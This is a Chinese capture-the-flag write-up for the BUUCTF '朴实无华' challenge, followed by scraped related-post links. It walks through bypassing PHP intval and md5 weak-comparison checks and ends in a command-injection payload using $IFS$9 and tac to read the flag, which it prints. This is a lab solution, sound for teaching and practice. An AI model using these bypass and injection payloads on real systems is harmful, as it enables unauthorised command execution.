buuctf 朴实无华
打开题目
查看一下robots.txt,看一下爬虫规则
打开看看
按f12,查看消息头,有个tips,/fl4g.php
打开后看到一串代码
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);//level 1
if (isset($_GET['num'])){$num = $_GET['num'];if(intval($num) < 2020 && intval($num + 1) > 2021){echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";}else{die("金钱解决不了穷人的本质问题");}
}else{die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){$md5=$_GET['md5'];if ($md5==md5($md5))echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";elsedie("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{die("去非洲吧");
}//get flag
if (isset($_GET['get_flag'])){$get_flag = $_GET['get_flag'];if(!strstr($get_flag," ")){$get_flag = str_ireplace("cat", "wctf2020", $get_flag);echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";system($get_flag);}else{die("快到非洲了");}
}else{die("去非洲吧");
}
?>
去非洲吧
首先是intval函数绕过,GET接收num参数,num要小于2020,加1后要大于2021。
if (isset($_GET['num'])){$num = $_GET['num'];if(intval($num) < 2020 && intval($num + 1) > 2021){echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好
我们使用的是科学计数法来进行绕过intval函数
当使用科学计数法来判断num<2020时,11e3会被强制转换为int类型,相当于11,但是当用这种办法来判断+1时,科学计数法就会被解析出来11e3+1就是11001,这样就进行了绕过 //11e3代表11000
/fl4g.php/?num=11e3
成功绕过,进入下一关md5绕过
if (isset($_GET['md5'])){$md5=$_GET['md5'];if ($md5==md5($md5))echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";elsedie("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{die("去非洲吧");
}
两个等于,这里使用的是md5弱比较,只要找到一个值的MD5值等于他本身即可完成绕过,这里我使用0e2159620
/fl4g.php/?num=11e3&md5=0e215962017
最后一关getflag
//get flag
if (isset($_GET['get_flag'])){$get_flag = $_GET['get_flag'];if(!strstr($get_flag," ")){$get_flag = str_ireplace("cat", "wctf2020", $get_flag);echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";system($get_flag);}else{die("快到非洲了");}
}else{die("去非洲吧");
}
?>
GET传参get_flag,然后get_flag参数里不能有空格,同时会将cat转化为wctf2020,说明我们不能单纯使用cat得到flag,得进行绕过
这里的空格的话可以用$IFS$9
尝试着查看上级目录
/fl4g.php/?num=11e3&md5=0e215962017&get_flag=ls
然后这里使用代替cat的是tac,tac是按行倒着显示,最后一行显示在最上面,然后使用$IFS$9来替代空格
构造payload;
/fl4g.php?num=11e3&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
得到flag
flag{cc92aa3e-626e-4d8b-9fa6-94f7f041c0ef}
buuctf 朴实无华相关推荐
- Buuctf -web wp汇总(三)
Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 Buuctf -web wp汇总(三):链接 文章目录 [WUSTCTF2020]朴实无华 [WUSTCTF ...
- BUUCTF Web 第二页全部Write ups
更多笔记,可以关注yym68686.top 目录 [强网杯 2019]高明的黑客 [BUUCTF 2018]Online Tool [RoarCTF 2019]Easy Java [GXYCTF201 ...
- BUUCTF的Web真题学习整理(一)
目录 WEB1-WarmUp (任意文件包含漏洞) WEB2-高明的黑客(fuzz脚本) WEB3-easy_tornado (服务端模板注入(ssti攻击)) WEB4-Hack World(时间盲 ...
- 『数据库』朴实无华且枯燥的数据库文章--关系数据理论
『数据库』 朴实无华且枯燥的数据库教程–入门必看!(不收藏,真的吃亏了) 文章目录 问题的提出 规范化 数据依赖的公理系统 模式的分解 小结 问题的提出 一.概念回顾 关系:描述实体.属性.实体间的联 ...
- 『数据库』朴实无华的数据库多表查询,连接查询、笛卡尔积
『数据库』 朴实无华且枯燥的数据库教程–入门必看!(不收藏,真的吃亏了) 文章目录 一.交 二.并 三.差 四.笛卡尔积 五.连接查询 一.交 (会用到连接运算,固定写法,连接运算在下面不用着急看) ...
- 『数据库』朴实无华的数据库绪论
『数据库』 朴实无华且枯燥的数据库教程–入门必看!(不收藏,真的吃亏了) 文章目录 数据库系统概述 数据模型 概念模型 数据库系统结构 数据库系统的组成 数据库系统概述 一.四个基本概念 1.数据(D ...
- BUUCTF寒假刷题-Web
前言 寒假横向刷题(尽量) BUUCTF
- BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过
BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过 题目 后台PHP源码: <?php include 'config.php'; // FLA ...
- BUUCTF刷题笔记
BUUCTF刷题笔记 [极客大挑战 2019]BabySQL 从这句话我们可以看出,这个网站的后台是做了过滤处理的 这个时候我们先用万能密码实验一下看看,是什么类型的SQL注入 输入1',看看返回的结 ...
最新文章
- 商汤涨涨涨涨:上市4日股价累涨130%,市值一度3000亿港元
- samba linux文件服务器 changepassword + httpd 实现用户web自行修改密码
- 浅谈文献总结(2018.9.28)——坚恒勇毅论文课笔记
- 蓝桥杯C++ AB组辅导课 第一讲 递归与递推 Acwing
- 【杭州】Hack for Cloud Beginner微软黑客松大赛
- putty如何登陆oracle,利用putty的SSH tunnel连接Oracle
- go语言 gosched
- win7中配置iis
- 绕过模拟器检测_用模拟器玩刺激战场体验差?这样设置轻松吃鸡
- java 开发小记:如何使用 MyEclipse 开发自己的类库(mylib.jar)以及引用(使用)她...
- python文件的路径_python3 文件及文件夹路径相关
- 全网最全Java微服务面试题总结(SpringCloud+Spring Boot)
- mysql左右匹配原则的用法和理解
- 软件构件技术期末复习
- SVN中删除彻底删除某一个版本
- python按照号段生成手机号接收验证码_django 发送手机验证码的示例代码
- Altium Designer (AD)安装教程
- 为什么这么多人说 IDEA 比 Eclipse 更好?
- redis高并发之秒杀活动解决方案
- 智能控制器,智能终端的“大脑” 要求升级,挑战即是机遇
热门文章
- 【翻译】和麻美学姐一起的世界树(マミさんと世界樹スレ)第四话
- mysql 创建数据库utf_mysql创建数据库utf
- ​【HZNUOJ】【C系列1.1】她的过去 1927​
- RK3399 Android7.1进入烧录模式的几种方法
- C++语言的define用法
- 成功解决urllib.error.HTTPError: HTTP Error 403: Forbidden
- mysql主从复制维护_MySQL主从复制详解
- 使用端点中心进行补丁管理
- 前端自动化测试(一)
- SqlServer本地数据库迁移到服务器